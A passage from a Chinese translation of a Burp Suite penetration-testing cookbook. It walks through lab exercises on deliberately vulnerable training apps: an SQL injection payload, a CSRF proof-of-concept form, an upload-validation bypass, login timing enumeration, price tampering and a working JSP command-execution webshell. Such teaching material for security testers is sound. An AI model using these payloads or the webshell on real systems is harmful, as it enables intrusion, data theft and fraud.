https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_019.jpg
图 6.19 – Proxy | 响应修改规则子部分
- 通过访问OWASP 2013 | A1 - 注入(SQL) | SQLi - 提取数据 | 用户信息(SQL)页面,导航到User Info页面:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_020.jpg
图 6.20 – 应用程序的用户信息页面
- 请注意现在在页面上显眼显示的隐藏表单字段:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_021.jpg
图 6.21 – 显示的隐藏字段
- 让我们尝试通过将显示的user-info.php更改为admin.php来操作它,看看应用程序如何反应。在Hidden field [****page]文本框中将user-info.php修改为admin.php:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_022.jpg
图 6.22 – 更改隐藏字段的值
- 在进行更改后,按下Enter键。此时你应该会看到一个新页面加载,显示PHP 服务器 配置信息:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_023.jpg
图 6.23 – 显示的 PHP 配置页面
如何运作…
正如在这个例子中所见,隐藏表单字段并没有什么神秘之处。作为渗透测试人员,我们应该检查并操作这些值,以确定敏感信息是否被无意中暴露,或者我们是否可以根据角色和认证状态改变应用程序的行为。在这个例子中,我们甚至没有登录到应用程序。我们操作了标有page的隐藏表单字段,访问了一个包含指纹信息的页面。此类信息的访问应当受到未认证用户的保护。
测试跨站请求伪造
跨站请求伪造(CSRF)是一种攻击,它利用已认证用户的会话,允许攻击者强迫用户代表攻击者执行不必要的操作。此攻击的初始诱饵可能是钓鱼邮件或通过受害者网站中的跨站脚本漏洞执行的恶意链接。CSRF 的利用可能导致数据泄露,甚至完全危害 Web 应用程序的安全。
准备就绪
使用 OWASP Mutillidae II 应用程序注册表单,确定在同一浏览器(不同标签页)中,经过身份验证的用户登录后,是否可能进行 CSRF 攻击。
如何执行…
要开始这个实例,首先让我们基准化账户表中当前的记录数量,并进行 SQL 注入以查看结果:
-
通过访问OWASP 2013 | A1 - 注入(SQL) | SQLi - 提取数据 | 用户 信息(SQL),导航到用户信息页面。
-
在用户名提示框中,输入一个 SQL 注入载荷,来导出整个账户表的内容。载荷为**’ or 1=1-- (tick 或 1 等于 1 短横线 空格)。然后,按下查看账户** 详细信息按钮。
记得在两个短横线后加上空格,因为这是一个 MySQL 数据库,否则载荷将无法正常工作:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_024.jpg
图 6.24 – SQL 注入有效载荷
- 当操作正确时,会显示一条信息,表示数据库中找到了 24 条用户记录。消息后面的数据显示了所有 24 个账户的用户名、密码和签名字符串。这里仅展示两个账户详情作为示例:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_025.jpg
图 6.25 – 24 条记录基线
我们确认数据库的账户表中目前有 24 条记录。
-
现在,返回到登录界面(点击顶部菜单中的 登录/注册)并选择 请在这里注册 链接。
-
点击 请在这里注册 链接后,系统会呈现一个注册表单。
-
填写表单以创建测试者账户。输入 tester 作为用户名,tester 作为密码,This is a tester account 作为签名:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_026.jpg
图 6.26 – 注册一个新用户
- 点击 创建账户 按钮后,你应该能看到一个绿色横幅,确认账户已创建:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_027.png
图 6.27 – 新账户创建确认
-
返回到 用户信息 页面,路径为 OWASP 2013 | A1 - 注入(SQL) | SQLi - 提取数据 | 用户 信息(SQL)。
-
再次执行 SQL 注入攻击,并验证你现在可以在账户表中看到 25 行数据,而不是之前的 24 行:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_028.jpg
图 6.28 – 账户表中显示 25 行数据
-
切换到 Burp Suite 中的 代理 | HTTP 历史 选项卡,并查看为测试者创建账户的 POST 请求。
-
研究这个 POST 请求可以看到 POST 动作(register.php)和执行该动作所需的正文数据,在本例中包括 username、password、confirm_password 和 my_signature。此外,请注意没有使用 CSRF token。CSRF token 被放置在网页表单中,以防止我们即将执行的攻击。接下来我们继续。
-
右键点击 POST 请求并点击 发送 到 Repeater:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_029.jpg
图 6.29 – 发送登录请求到 Repeater
- 如果你使用的是 Burp Suite Professional,右键点击并选择 参与工具 | 生成 CSRF PoC:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_030.jpg
图 6.30 – 生成 CSRF PoC
- 点击此功能后,会弹出一个框,生成与注册页面相同的表单,但没有任何 CSRF token 保护。在 CSRF HTML 文本区域内,将 “tester” 用户名改为 “attacker”,将密码改为 “attacker”,并将 “tester” 确认密码值改为 “attacker”:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_031.jpg
图 6.31 – 修改并复制 HTML
- 点击 复制 HTML 按钮,并将其保存为名为 csrf.html 的文件在本地系统上:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_032.jpg
图 6.32 – 将新文件命名为 csrf.html
- 如果你使用的是 Burp Suite Community 版,可以通过查看注册页面的源代码轻松重建 CSRF PoC 表单:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_033.jpg
图 6.33 – 对于 Burp Suite Community 版,如何创建 CSRF PoC
-
在查看页面源代码时,向下滚动到 标签部分。为了简洁起见,下面重新创建了该表单。将 attacker 作为用户名、密码和签名的值。复制以下 HTML 代码并将其保存为名为 csrf.html 的文件:
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://192.168.56.101/mutillidae/index.php?page=register.php" method="POST"> <input type="hidden" name="csrf-token" value="" /> <input type="hidden" name="username" value="attacker" /> <input type="hidden" name="password" value="attacker" /> <input type="hidden" name="confirm_password" value="attacker" /> <input type="hidden" name="my_signature" value="attacker account" /> <input type="hidden" name="register-php-submit-button" value="Create Account" /> <input type="submit" value="Submit request" /> </form> </body> </html>
-
现在,返回到登录页面(点击顶部菜单中的 登录/注册)并使用用户名 ed 和密码 pentest 登录到应用程序。
-
打开你在本地保存的 csrf.html 文件所在的位置。将文件拖动到 ed 已认证的浏览器中。在将文件拖到浏览器后,csrf.html 会作为一个单独的标签出现在同一浏览器中:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_034.jpg
图 6.34 – 将新文件命名为 csrf.html
- 为了演示,页面上有一个 提交请求 按钮。但是,在实际情况下,JavaScript 函数将自动执行为攻击者创建账户的操作。点击 提交 请求 按钮:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_035.jpg
图 6.35 – 在新标签页中提交请求
你应该会收到确认信息,表明攻击者账户已被创建:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_036.jpg
图 6.36 – CSRF 攻击成功的确认
- 切换到 Burp Suite 中的 代理 | HTTP 历史 标签,找到用于为攻击者创建账户的恶意执行的 POST 请求,同时利用 ed 的认证会话。注意 Origin 头部值为 “null”。这表明我们正在使用我们的 CSRF PoC,因为我们从本地机器(例如,无来源)将其拖放到认证用户会话的一个新标签页中。
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_037.jpg
图 6.37 – Burp 中看到的 CSRF 攻击
- 返回 用户信息 页面,通过访问 OWASP 2013 | A1 - 注入(SQL) | SQLi - 提取数据 | 用户信息(SQL) 并再次执行 SQL 注入攻击。现在,你将看到账户表中有 26 行,而不是之前的 25 行:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_06_038.jpg
图 6.38 – CSRF 攻击后记录计数增加 1
它是如何工作的…
CSRF 攻击需要一个经过身份验证的用户会话,以便在应用程序内代表攻击者偷偷执行操作。在这种情况下,攻击者利用ed的会话重新运行注册表单,为攻击者创建了一个账户。如果ed是管理员,那么这可能让攻击者获得更高权限的访问。
第七章:评估业务逻辑
本章涵盖了业务逻辑测试的基础知识,包括解释该领域中常见的一些测试。Web 渗透测试涉及对业务逻辑的关键评估,以确定应用程序设计如何在应用程序功能的顺序步骤中执行完整性检查,尤其是在涉及顺序操作时,我们将学习如何使用 Burp Suite 执行这些测试。
在本章中,我们将介绍以下练习:
-
测试业务逻辑数据验证
-
无限制文件上传—绕过弱验证
-
执行过程时序攻击
-
测试绕过工作流
-
上传恶意文件—多重格式文件
技术要求
为了完成本章中的练习,您需要以下内容:
-
OWASP 破损的 Web 应用程序(BWA)
-
OWASP Mutillidae 链接
-
OWASP WebGoat 链接
-
OWASP Damn Vulnerable Web Application(DVWA)链接
-
Burp Proxy Community 或 Professional (
portswigger.net/burp/
) -
使用 Firefox 浏览器,配合 FoxyProxy 插件或 Burp Suite 浏览器
测试业务逻辑数据验证
由于缺少服务器端检查,特别是在购物车结账等一系列事件中,可能会发生业务逻辑数据验证错误。如果存在设计缺陷,例如线程问题,这些缺陷可能允许攻击者在购买前修改或更改购物车中的内容或价格,从而降低支付价格。
准备工作
使用 OWASP WebGoat 应用程序和 Burp,我们将利用业务逻辑设计缺陷,以非常低的价格购买许多大宗商品。
如何进行……
- 确保 owaspbwa 虚拟机正在运行。从虚拟机的初始登录页面选择 OWASP WebGoat 应用程序。登录页面将配置为特定于您的机器的 IP 地址:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_001.jpg
图 7.1 – 虚拟机登录页面
-
点击 OWASP WebGoat 链接后,系统将提示输入登录凭证。使用以下凭证—用户名:guest;密码:guest。
-
认证后,点击 Start WebGoat 按钮以访问应用程序练习:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_002.jpg
图 7.2 – 启动 WebGoat 应用程序
- 请注意,WebGoat 应用程序在 Firefox 中配合 FoxyProxy 使用,设置为将流量发送到 Burp Suite,而不是使用 Burp Suite 浏览器时似乎效果更好。点击左侧菜单中的 Concurrency | 购物车并发缺陷:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_003.jpg
图 7.3 – 购物车并发缺陷
该练习解释了购物车设计中的线程问题,这将允许我们以更低的价格购买商品。让我们来利用这个设计缺陷!
- 将 1 添加到 Sony - Vaio with Intel Centrino 项目的 Quantity 框中。点击 Update Cart 按钮:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_004.jpg
图 7.4 – 将一台 Sony Vaio 添加到购物车
- 切换到 Burp Suite 的 Proxy | HTTP history 标签。找到购物车请求,右键点击,并选择 Send to Repeater:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_005.jpg
图 7.5 – 发送到 Repeater
- 在 Burp Suite 的 Repeater 标签中,将 QTY3 参数从 1 改为 10:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_006.jpg
图 7.6 – 将数量增加到三
- 保持在 Burp Suite 的 Repeater 标签页中,在请求窗格中右键点击并选择 Request in browser | In current browser session:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_007.jpg
图 7.7 – 在当前浏览器会话中查看请求
- 弹出窗口显示已修改的请求。点击 Copy 按钮:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_008.jpg
图 7.8 – 复制链接
- 使用包含购物车的同一 Firefox 浏览器,打开一个新标签页并粘贴前一步复制到剪贴板的 URL:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_009.jpg
图 7.9 – 将链接粘贴到新的浏览器标签中
- 按下 Enter 键以查看请求重新提交,并且修改后的数量为 10:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_010.jpg
图 7.10 – 查看更新后的数量
切换到包含原购物车(数量为 1)的原始标签页。点击 Purchase 按钮:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_011.jpg
图 7.11 – 在原标签页上购买该商品
- 在下一个屏幕上,在点击 Confirm 按钮之前,切换到第二个标签页并再次更新购物车,这次使用我们新的数量 10,并点击 Update Cart:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_012.jpg
图 7.12 – 在第二个标签页更新购物车
- 返回第一个标签页,点击 Confirm 按钮:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_013.jpg
图 7.13 – 在第一个标签页确认购买
请注意,我们能够以 1 台 Sony Vaio 笔记本的价格购买 10 台!
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_014.jpg
图 7.14 – 购物车中的所有商品都以较低的价格购买
工作原理…
线程安全问题可能会产生意外的结果。对于许多编程语言,开发者了解如何声明变量和方法为线程安全至关重要。没有隔离的线程,例如本教程中展示的购物车内容,可能导致用户在商品上获得意外的折扣。
不受限制的文件上传 – 绕过弱验证
许多应用程序允许上传文件以满足不同需求。服务器端的业务逻辑必须包含对可接受文件的检查;这被称为白名单。如果这些检查薄弱或仅关注文件属性的一个方面(例如,仅检查文件扩展名),攻击者可以利用这些漏洞上传可能在服务器上执行的意外文件类型。
准备开始
使用 DVWA 应用程序和 Burp,我们将利用文件上传页面中的业务逻辑设计缺陷。
如何操作…
-
确保owaspbwa虚拟机正在运行。选择虚拟机初始登陆页面上的DVWA。登陆页面将配置为特定于你机器的 IP 地址。
-
在登录页面,使用以下凭证—用户名:user;密码:user。
-
从左侧菜单中选择DVWA 安全性选项。将默认设置低更改为中,然后点击提交:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_015.jpg
图 7.15 – 设置安全性为中等
- 从左侧菜单中选择上传页面:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_016.jpg
图 7.16 – 进入上传页面
- 注意页面指示用户仅上传图片。如果我们尝试上传除 JPG 图片以外的其他类型文件,页面左上角会显示错误信息:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_017.jpg
图 7.17 – 仅允许上传图片
-
在本地计算机上创建一个除了 JPG 以外的任意类型文件。例如,创建一个名为malicious_spreadsheet.xlsx的 Microsoft Excel 文件。为了本教程目的,文件内容不需要填写。
-
切换到 Burp Suite 的代理 | 拦截标签页。点击拦截开启按钮开启拦截器。
-
返回 Firefox,使用浏览按钮找到你系统中的malicious_spreadsheet.xlsx文件,并点击上传按钮:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_018.jpg
图 7.18 – 尝试上传 Excel 表格
- 在 Burp Suite 的代理 | 拦截标签页中暂停请求后,将Content-Type值从application/vnd.openxmlformats-officedocument.spreadsheetml.sheet更改为image/jpeg。
这是原始版本:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_019.jpg
图 7.19 – 原始 Content-Type 值
这是修改后的版本:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_020.jpg
图 7.20 – 修改后的 Content-Type 值
-
点击转发按钮。现在,通过点击切换按钮将拦截器关闭为拦截关闭。
-
注意文件已成功上传!我们成功绕过了数据验证检查,并上传了非图片文件:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_021.jpg
图 7.21 – 表格成功上传
它是如何工作的…
由于服务器端检查较弱,我们可以轻松绕过仅限图像的限制,上传我们选择的文件类型。应用程序代码只检查与image/jpeg匹配的内容类型,而这可以通过像 Burp 这样的拦截代理轻松修改。开发人员需要同时在应用程序代码中对白名单进行内容类型和文件扩展名的检查,以防止此类漏洞的发生。
执行过程计时攻击
通过监控应用程序完成任务所需的时间,攻击者可以收集或推测应用程序的编码方式。例如,使用有效用户名的登录过程响应速度比使用无效用户名的登录过程要快。这种响应时间的延迟泄露了与系统过程相关的信息。攻击者可以利用响应时间进行账户枚举,并根据响应的时间确定有效的用户名。
准备中
对于此操作,您需要从wfuzz获取common_pass.txt字典,下载地址如下:
这是路径:
字典 | 其他 | common_pass.txt
使用 OWASP Mutillidae II,我们将确定应用程序是否基于强制登录的响应时间泄露信息。
确保 Burp Suite 正在运行,并且确保owaspbwa虚拟机正在运行,且 Burp Suite 已在用于查看owaspbwa应用程序的 Firefox 浏览器中配置。
如何操作…
-
从owaspbwa登录页面,点击 OWASP Mutillidae II 应用程序的链接。
-
打开 Firefox 浏览器,访问 OWASP Mutillidae II 的主页(网址:http://<your_VM_assigned_IP_address>/mutillidae/)。
-
访问登录页面,使用用户名ed和密码pentest登录。
-
切换到 Burp Suite 的代理 | HTTP 历史标签,找到刚才执行的登录操作,右键点击并选择发送 到 Intruder:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_022.jpg
图 7.22 – 将登录的 POST 请求发送到 Repeater
- 进入Intruder | Positions标签,使用右侧的**清除 §**按钮清除所有有效载荷标记:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_023.jpg
图 7.23 – 清除任何建议的位置
- 如下图所示,选择用户名字段并点击添加 §按钮,将有效载荷标记添加到该字段周围。同时,将有效密码替换为无效密码,例如xx:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_024.jpg
图 7.24 – 在用户名值周围添加替换标记
- 同时,移除PHPSESSID令牌。删除该令牌中的值(即等号后面的内容),并将其留空。此步骤非常重要,因为如果你不小心将此令牌保留在请求中,应用程序会认为你已经登录,从而无法看到时间差异:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_025.jpg
图 7.25 – 移除 PHPSESSID cookie 值
- 转到Intruder | Payloads标签。在Payload Options [Simple list]部分,我们将使用来自wfuzz的词汇表(包含常见密码:wfuzz/wordlists/others/common_pass.txt)添加一些无效值:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_026.jpg
图 7.26 – 加载词汇表
- 滚动到页面底部并取消勾选有效载荷编码部分的复选框:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_027.jpg
图 7.27 – 取消勾选有效载荷编码部分的复选框
- 点击开始攻击按钮。攻击结果表将会出现。等待攻击完成。在攻击结果表中,选择列并勾选收到响应。勾选响应完成以将这些列添加到攻击结果表中:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_028.jpg
图 7.28 – 向攻击结果表中添加两列额外的列
- 分析提供的结果。根据 OWASP(
owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/04-Test_for_Process_Timing
),执行此测试的步骤包括提供一个有效的用户名(即ed)和一个无效的密码,并查看从服务器返回的响应时间。然后,再次使用无效的用户名和无效的密码执行测试。你需要观察当服务器遇到有效用户名与无效用户名时,响应时间是否有差异(更快或更慢)。
从我们的测试结果来看,最快的响应是当服务器提供一个有效的用户名和无效的密码时:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_029.jpg
图 7.29 – 分析结果
它是如何工作的……
信息泄露可能发生在处理错误信息时,或者通过处理比有效代码路径花费更长时间的无效代码路径。开发者必须确保业务逻辑不会向攻击者泄露此类线索。
还有更多……
我们可以使用一个名为Timeinator的 Burp Suite 扩展,它可以帮助我们识别处理时间攻击,但通过更多的请求来获取更好的样本量。
- 从BApp Store子标签页下载 Burp Suite 扩展。点击安装按钮:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_030.jpg
图 7.30 – 安装 Timeinator 扩展
- 右键单击我们在 Intruder 中使用的请求,并将其发送到 Timeinator 插件:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_031.jpg
图 7.31 – 将 Intruder 请求发送到 Timeinator
- 在 Timeinator 中,在 username 周围添加替代标记。在文本区域中输入三个名称(tom、xx、ed),这些名称将替代为替代位置:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_032.jpg
图 7.32 – 添加替代标记和有效载荷
- 点击顶部的 开始攻击。完成后,切换到 Timeinator 的 结果 标签,查看生成的热图。注意,使用无效密码的有效用户名的标准偏差明显大于其他使用无效用户名的登录尝试。由于样本量更大以及额外的数学计算,您可能会对您的过程定时攻击结果更加有信心:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_033.jpg
图 7.33 – 开始攻击并分析结果
流程绕过测试
购物车与支付网关的交互必须由 Web 应用程序渗透测试人员进行测试,以确保工作流不能按错误顺序执行。除非首先在服务器端验证购物车内容,否则不应进行付款。如果缺少此检查,攻击者可以在实际购买前更改价格、数量或两者。
准备工作
使用 OWASP WebGoat 应用程序和 Burp,我们将利用一个业务逻辑设计缺陷,该缺陷在购买前没有进行服务器端验证。
如何操作…
-
确保 owaspbwa 虚拟机正在运行。从虚拟机的初始登录页面选择 OWASP WebGoat 应用程序。该登录页面将配置为与您计算机特定的 IP 地址相对应。
-
点击 OWASP WebGoat 链接后,系统会提示您输入登录凭证。使用以下凭证——用户名:guest;密码:guest。
-
经过身份验证后,点击 开始 WebGoat 按钮以访问应用程序练习。
-
点击左侧菜单中的 AJAX 安全性 | 不安全的客户端存储。您将看到一个购物车:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_034.jpg
图 7.34 – 不安全的客户端存储课程
- 切换到 Burp Suite 的 代理 | HTTP 历史 标签,点击 过滤器 按钮,并确保您的 按 MIME 类型过滤 部分包含 脚本。如果 脚本 未勾选,请务必勾选:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_035.jpg
图 7.35 – 在流量历史中包含脚本
- 回到使用 WebGoat 的 Firefox 浏览器,并为惠普 - Pavilion 笔记本电脑,配备 Intel® Centrino™项目指定数量为2:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_036.jpg
图 7.36 – 更新购物车,添加两台惠普笔记本电脑
- 切换回 Burp Suite 的代理 | HTTP 历史记录选项卡,并注意与您更改的数量相关联的 JavaScript(.js)文件。注意名为clientSideValidation.js的脚本。确保状态码为200*,而不是304(未修改)。只有200状态码将显示脚本的源代码:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_037.jpg
图 7.37 – clientSideValidation.js 脚本的源代码
-
选择clientSideValidation.js文件,并在响应选项卡中查看其源代码。
-
请注意,优惠券代码硬编码在 JavaScript 文件中。但是,如果按原样使用,它们将无法工作:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_038.jpg
图 7.38 – 硬编码的优惠券代码
- 继续查看源代码 - 注意 JavaScript 文件中找到了解密函数。我们可以通过此函数测试其中一个优惠券代码。让我们尝试在 Firefox 浏览器中进行此测试:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_039.jpg
图 7.39 – 解密 JavaScript 函数
-
在浏览器中,打开开发者工具(F12)并转到控制台选项卡。粘贴以下命令到控制台(查找**>>**提示):
decrypt('emph');
-
您可以使用此命令调用数组中声明的任何优惠券代码上的解密函数:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_040.jpg
图 7.40 – 调用优惠券代码上的解密函数
- 按下Enter键后,您将看到优惠码解密为GOLD一词:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_041.jpg
图 7.41 – 显示优惠券代码
- 在输入您的优惠码框中输入GOLD一词。请注意,金额现在大大减少。接下来,点击购买按钮:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_042.jpg
图 7.42 – 在文本框中放置 GOLD 以应用于购买
- 我们收到关于第 1 阶段完成的确认。现在让我们尝试免费获得购买:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_043.jpg
图 7.43 – 第 1 阶段已完成
-
切换到 Burp Suite 的代理 | 拦截选项卡,并使用拦截开启按钮将拦截器打开。
-
返回 Firefox 并按下 Purchase(购买)按钮。请求暂停时,修改 $1,599.99 的金额为 $0.00。查找 GRANDTOT 参数以帮助您找到需要更改的总金额。使用右侧的 Inspector(检查器)部分,帮助您通过高亮显示 GRANDTOT= 后的值来修改金额,如下截图所示。当您准备好应用更改时,点击 Apply changes(应用更改):
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_044.jpg
图 7.44 – 修改总金额
-
点击 Forward 按钮。现在,通过点击切换按钮将拦截器关闭,确保 Intercept is off。
-
返回浏览器并点击 Purchase(购买)。您应该会收到一条恭喜消息。请注意,总金额现在为 $0.00:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_045.jpg
图 7.45 – 恭喜消息
它是如何工作的…
由于在收费之前缺乏对优惠券代码和总金额的服务器端检查,我们可以绕过已分配的价格并设置我们自己的价格。
上传恶意文件 – polyglots
Polyglot 是一个定义为使用多种语言的术语。如果我们将这一概念应用于黑客攻击,它意味着通过使用不同的语言作为执行点来创建攻击向量。例如,攻击者可以构造有效的图片并嵌入 JavaScript。JavaScript 负载通常被放置在图片的评论部分。一旦图片被浏览器加载,XSS 内容可能会执行,具体取决于 Web 服务器声明的内容类型的严格程度以及浏览器对内容类型的解析。在本节中,我们将使用 polyglot 上传伪装成图片的 Webshell。
准备工作
使用 OWASP WebGoat 文件上传功能,我们将编写一个小的 Java Server Pages (JSP) Webshell 并将其伪装成图片上传到应用程序。
我们将使用一些流行的源代码来创建 JSP Webshell,并将其保存在名为 poly.jsp 的文件中。
确保 owaspbwa 虚拟机正在运行。从虚拟机的初始登录页面选择 OWASP WebGoat 应用程序。登录页面将配置为特定于您机器的 IP 地址。
如何操作…
-
点击 OWASP WebGoat 链接后,系统会提示您输入登录凭据。请使用以下凭据:用户名:guest;密码:guest。
-
身份验证后,点击 Start WebGoat(开始 WebGoat)按钮以访问应用程序的练习。
-
从左侧菜单中点击 Malicious Execution | Malicious File Execution。您将看到一个文件上传功能页面。说明中写明只允许上传图片:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_046.jpg
图 7.46 – 恶意文件执行课程
-
使用记事本或你喜欢的文本编辑器,创建一个名为 poly.jsp 的新文件,并在文件中编写以下代码:
<%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { out.println("Webshell cmd: " + request.getParameter("cmd") + "<br />"); Process p = Runtime.getRuntime().exec(request. getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>
-
返回到 恶意文件执行 页面,浏览到你在本地系统上创建的 poly.jsp 文件,然后点击 开始 上传 按钮:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_047.jpg
图 7.47 – 上传你的 Webshell
每个上传的位置可以通过右键点击页面中显示的损坏图像(即 你当前的图像),然后选择 复制图像链接 来确定。接着,打开一个新标签页,将剪贴板中的链接粘贴到新标签页中。
- poly.jsp 是一个可以在该 Web 服务器上执行的 JSP 文件。你可以通过打开一个新标签页并导航到以下 URL 来玩弄你全新的 Webshell:http://<YOUR_VM_IP>/WebGoat/uploads/poly.jsp?cmd=ls。
注意 ls 命令如何列出目录内容。让我们利用这个 Webshell 帮助我们解决实验:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_048.jpg
图 7.48 – 打开新标签页执行你的 Webshell
- 要解决这个实验,我们需要按照指示在提供的路径 (/var/lib/tomcat6/webapps/WebGoat/mfe_target/) 中创建一个 guest.txt 文件:
https://github.com/OpenDocCN/freelearn-kali-pt2-zh/raw/master/docs/bpst-cb-2e/img/B21173_07_049.jpg
图 7.49 – 解决实验的指示
-
返回到你的 Webshell 标签页,并为 cmd 参数输入以下命令:
